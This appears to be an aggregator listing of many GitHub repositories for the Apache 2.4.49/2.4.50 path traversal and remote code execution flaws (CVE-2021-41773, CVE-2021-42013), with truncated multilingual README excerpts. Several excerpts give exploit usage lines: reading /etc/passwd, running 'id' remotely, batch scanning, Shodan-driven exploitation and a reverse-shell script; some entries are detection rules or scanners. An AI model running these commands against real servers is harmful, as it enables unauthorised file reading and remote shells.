CVE-2021-41773_CVE-2021-42013

Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal y RCE Autor del exploit: Lucas Souza https://ls4ss.github.io/ Página principal del proveedor: https://apache.org/ Versión: 2.4.49, 2.4.50 Probado en: 2.4.49, 2.4.50 CVE : CVE-2021-41773, CVE-2021-42013 Créditos: Ash Daulton y el equipo de segurid...

apachrot

Apache Linux CVE-2021-41773/2021-42013 批量漏洞检测器 用于检测 Apache Linux 2.4.49/50 漏洞的自动化批量工具 使用 GNU Parallel。运行此工具前，你必须安装 parallel 安装 Parallel Linux： 命令 apt-get install parallel -y Windows： 你可以安装 WSL（Windows 子系统 Linux），然后像 Linux 一样安装 如果你想在 Windows 上使用，请安装 GitBash 命令 curl pi.dk/3/ install.sh sha1sum...

cve-2021-42013-httpd

漏洞的 Docker 化：cve-2021-42013 本项目旨在使用 Docker 容器化特定漏洞。其目标是创建一个隔离环境，在此环境中可以安全地利用和测试该漏洞。 易受攻击的应用程序 Apache HTTP Server 2.4.50 - Remote Code Execution && Path Transversal 安装 要运行此项目，您的机器上必须安装： Docker Python Curl 安装好前置依赖后，您可以克隆此 Git 仓库到您的机器上： root@kitploit: git clone...

Sigma-Rule-for-CVE-2021-41773-and-CVE-2021-42013-exploitation-attempt

此存储库没有 README。...

Apache-HTTP-Server-2.4.50-RCE

Apache-HTTP-Server-2.4.50-RCE 此工具用于测试 Apache 服务器是否存在 CVE-2021-41773 / CVE-2021-42013 漏洞。它仅供教育目的使用，且只应在您拥有明确测试许可的系统上负责任地使用。 安装： 克隆仓库： root@kitploit: git clone https://github.com/Zyx2440/Apache-HTTP-Server-2.4.50-RCE.git 进入目录： root@kitploit: cd Apache-HTTP-Server-2.4.50-RCE 安装依赖： root@kitploit: pip...

apache-httpd-path-traversal-checker

apache httpd path traversal checker 0x00 概述 20211005，网上曝出apache httpd 2.4.49的目录穿越漏洞（cve-2021-41773），可造成任意文件读取（穿越的目录允许被访问，如配置了Require all granted， 默认不允许）或命令执行（rce需开启cgi，默认不包含cgi模块） 20211008，又出了2.4.50的目录穿越（cve-2021-42013），是绕过了cve-2021-41773的修复。 漏洞详情参考：apache httpd 2.4.49/2.4.50 目录穿越漏洞重现及分析 0x01 快速开...

Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution

Apache HTTP-Server 2.4.49-2.4.50 路径遍历与远程代码执行 描述 这是针对 CVE-2021-41773 和 CVE-2021-42013 的 PoC 脚本 用法： root@kitploit: python3 exploit.py | 示例： 远程代码执行 root@kitploit: python3 exploit.py 127.0.0.1 8080 rce 'id' 路径遍历 root@kitploit: python3 exploit.py 127.0.0.1 8080 file '/etc/passwd'...

CVE-2021-41773_CVE-2021-42013

CVE-2021-41773CVE-2021-42013 CVE-2021-41773 CVE-2021-42013多线程漏洞批量检测与利用工具 简介 本工具只可用于安全测试，勿用于非法用途！ 工具定位 CVE-2021-41773 CVE-2021-42013多线程漏洞批量检测与利用工具 工具截图 提交反馈 如有好的建议，以及发现BUG。 GitHub issue: https://github.com/inbug-team/CVE-2021-41773CVE-2021-42013/issues 官网生成扫描器： https://www.inbug.org 同时也可通过公众号联系：...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell CVE-2021-42013 的 PoC：Apache 2.4.50（带 CGI）反向 Shell 用法： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 更多信息： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 ...

apache-exploit-CVE-2021-42013

apache-exploit-CVE-2021-42013 带有 集成 Shodan 搜索的漏洞利用工具 请仅用于教育目的！...

POC-CVE-2021-42013-EXPLOIT

-ff0055?style=for-the-badge&logo=python root@kitploit: 🔥 CVE-2021-42013 漏洞利用框架 — Makaveli 💀 多维宇宙黑客模式已激活... 一款先进的扫描、利用和远程交互工具，旨在检测并利用错误配置服务器中的 Apache 路径遍历 + RCE（CVE-2021-42013） 漏洞。 --- ⚠️ 法律警告 本软件仅用于受控环境下的教育和研究目的。 在未获得明确授权的情况下使用本工具攻击系统可能违法，并在许多国家构成犯罪。 作者不对任何滥用此代码的行为负责。请自行承担风险，并始终获得目标系统所有者的明确许可。 ---...

cve-2021-42013L

cve-2021-42013 Apache 2.4.50 路径遍历漏洞 关注 Youtube Twitter Telegram Vulnmachines.com...

apache-vulnerable

扫描Apache版本的"零日漏洞" Apache 版本 2.4.49 和 2.4.50 CVE-2021-41773 和 CVE-2021-42013 使用方法： 你需要安装 nuclei！ https://github.com/projectdiscovery/nuclei 检查本地 nuclei 安装并验证模板 nuclei -t apache-vulnerable-versions.yaml -vv 以及 nuclei -t apache-path-traversal-rce-v2.yaml -vv 你应该会看到 apache-vulnerable-versions...

CVE-2021-42013

CVE-2021-42013 漏洞扫描器 此Python脚本用于检查Apache 2.4.50中的远程代码执行（RCE）漏洞（CVE-2021-42013）。 简介 该脚本旨在帮助识别服务器是否存在Apache 2.4.50中的CVE-2021-42013 RCE漏洞。它通过检查服务器的响应头来确定是否存在该漏洞，并出于教育目的进行利用。 前提条件 Python 3.x（基于Python 3.12编写） 网络连接 使用方法 1. 克隆仓库或下载 cve-2021-42013.py 脚本。 2. 使用Python运行脚本： root@kitploit: python...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 y cve-2021-42013 Script de verificación por lotes en Python para cve-2021-41773 y cve-2021-42013 Entorno de ejecución: python3 Uso: python3 poc.py url.txt url.txt contiene las URLs a verificar; las URLs con vulnerabilidad se escribirán en success.txt El contenido de verificación es...

CVE-2021-41773_CVE-2021-42013_Exploits

Explotando CVE-2021-41773 y CVE-2021-42013 Descripción general Este repositorio se centra en explotar dos vulnerabilidades en Apache HTTPD: CVE-2021-41773 y CVE-2021-42013. Estos CVE representan vulnerabilidades de path traversal que potencialmente pueden conducir a mapeo de archivos y ejecución...

apache_2.4.50

Apache HTTP Server 2.4.50 本地文件包含与远程代码执行 一个针对 CVE-2021-42013 - Apache HTTP Server 2.4.50 本地文件包含与远程代码执行的 python3 脚本。远程代码执行需要启用 cgi-bin 快速开始 运行程序 本地文件包含（LFI） root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd 远程代码执行（RCE） root@kitploit: python3 apache2.4.50.py -t...

cve-2021-42013-apache

安装与执行脚本 💻 前提条件 在开始之前，请确保您的机器上已安装以下工具： Python 3.x Git pip （用于管理 Python 依赖） 安装步骤 1. 克隆仓库 使用 git 克隆仓库： root@kitploit: git clone https://github.com/dream434/cve-2021-42013-apache 2. 进入项目目录 root@kitploit: cd cve-2021-42013-apache 3. 安装依赖 📥 root@kitploit: pip install -r requirements.txt 4. 运行应用程序...

CVE-2021-42013

此存储库没有 README。...

Apache-HTTP-Server-Vulnerabilities-CVE-2021-41773-and-CVE-2021-42013

侦察与利用：Apache HTTP服务器漏洞 - CVE-2021-41773和CVE-2021-42013 在此项目中，我记录了针对Apache HTTP服务器漏洞（具体为CVE-2021-41773和CVE-2021-42013，涉及路径遍历和远程代码执行 RCE）的详细渗透测试过程。 评估内容包括： 侦察 ：使用Nmap和Gobuster等工具进行网络发现和服务枚举。 手动漏洞测试 ：通过定制脚本和分析评估漏洞暴露情况。 自动化利用 ：利用Metasploit模块进行漏洞利用尝试。 创造性问题解决 ：运用逻辑和解码技术发现隐藏线索，获取WordPress管理员凭证。 🔑 关键成果...